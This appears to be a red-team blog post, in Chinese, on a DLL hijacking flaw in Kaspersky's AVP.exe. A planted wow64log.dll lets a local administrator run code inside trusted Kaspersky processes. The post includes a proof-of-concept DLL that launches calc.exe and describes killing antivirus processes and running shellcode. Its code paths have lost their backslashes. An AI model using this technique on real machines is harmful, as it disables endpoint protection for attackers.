1. 首页
  2. 红队技术

Kaspersky AVP.exe DLL 劫持

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

Kaspersky AVP.exe 中的 DLL 注入允许本地管理员在不知道 Kaspersky 密码的情况下杀死或篡改防病毒软件和在高权限中执行命令。

在Kaspersky AVP.exe进程尝试加载缺少的wow64log.dllDLL文件(在System32)。

 

通过DLL植入恶意文件,本地Windows管理员可以在这个受信任的AVP.exe进程的上下文中实现代码执行并杀死其他进程,从而在无法检测和清除病毒的杀毒软件上实现拒绝服务和以卡巴斯基的身份执行任意命令。

 

版本

斯基安全软件

Kaspersky AVP.exe DLL 劫持

AVP.exe版本

Kaspersky AVP.exe DLL 劫持

Kaspersky Password Manager Service

Kaspersky AVP.exe DLL 劫持

卡巴斯基安全软件启动的进程为:

Kaspersky AVP.exe DLL 劫持

Kaspersky Password Manager Service启动的进程为:

Kaspersky AVP.exe DLL 劫持

ProCess Monitor

AVP.exe 加载不存在的wow64log.dll,路径为C:windowsSystem32

Kaspersky AVP.exe DLL 劫持

Avpui.exe同样加载不存在的Wow64log.dll,路径为C:windowsSystem32

Kaspersky AVP.exe DLL 劫持

kpm.exe同样加载不存在的Wow64log.dll,路径为C:windowsSystem32

Kaspersky AVP.exe DLL 劫持

wow64log.dll与 WoW64 Windows 机制有关,该机制允许在 64 位 Windows 上运行 32 位程序。该子系统会自动尝试加载它,但是它不存在于任何公共 Windows 版本中。

C:WindowsSystem (Windows95/98/Me)C:WINNTSystem32(WindowsNT/2000)C:WindowsSystem32 (Windows XP,Vista,7,8,10)

如果是64位文件C:WindowsSysWOW64

作为管理员,我们可以构造恶意 wow64log.dll 文件复制到 System32 。

例如:

#include "pch.h"#include <windows.h>#include <tlhelp32.h>#include <stdio.h>#include <iostream>#include <map>



BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  ul_reason_for_call,  LPVOID lpReserved){  STARTUPINFO si = { sizeof(si) };  PROCESS_INFORMATION pi;  CreateProcess(TEXT("C:WindowsSystem32calc.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);

  switch (ul_reason_for_call)  {  case DLL_PROCESS_ATTACH:    char szFileName[MAX_PATH + 1];    GetModuleFileNameA(NULL, szFileName, MAX_PATH + 1);

    //check if we are injected in an interesting McAfee process    if (strstr(szFileName, "avp") != NULL      //|| strstr(szFileName, "mcshield") != NULL      || strstr(szFileName, "avp.exe") != NULL      ) {      DisableThreadLibraryCalls(hModule);    }    else    {

    }

  case DLL_THREAD_ATTACH:  case DLL_THREAD_DETACH:  case DLL_PROCESS_DETACH:    //log("detach");    break;  }  return TRUE;}

手动复制在目标文件目录中,然后启动卡巴斯基,可以看到加载了我们的Wow64log.dll

Kaspersky AVP.exe DLL 劫持

Kaspersky AVP.exe DLL 劫持

启动Kaspersky Password Manager Service

Kaspersky AVP.exe DLL 劫持

加载了我们的恶意DLL并执行了

Kaspersky AVP.exe DLL 劫持

卡巴斯基具有自我保护机制,即使管理员也无法终止或注入Avp.exe /avpui.exe等等 进程。但似乎卡巴斯基家族的所有进程都认为其他卡巴斯基进程在自我保护方面是“受信任的”。因此,如果我们设法在一个上下文中执行代码,我们就可以“攻击”并杀死其进程和在卡巴斯基中执行任意命令等等。

Kaspersky AVP.exe DLL 劫持

Kaspersky AVP.exe DLL 劫持

我们可以编译一个恶意的dll利用卡巴斯基的进程去kill其它卡巴斯基的进程。

Kaspersky AVP.exe DLL 劫持

Kaspersky AVP.exe DLL 劫持

也可以在卡巴是安全上下文中执行我们的shellcode 例如:

Kaspersky AVP.exe DLL 劫持

原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/6299.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息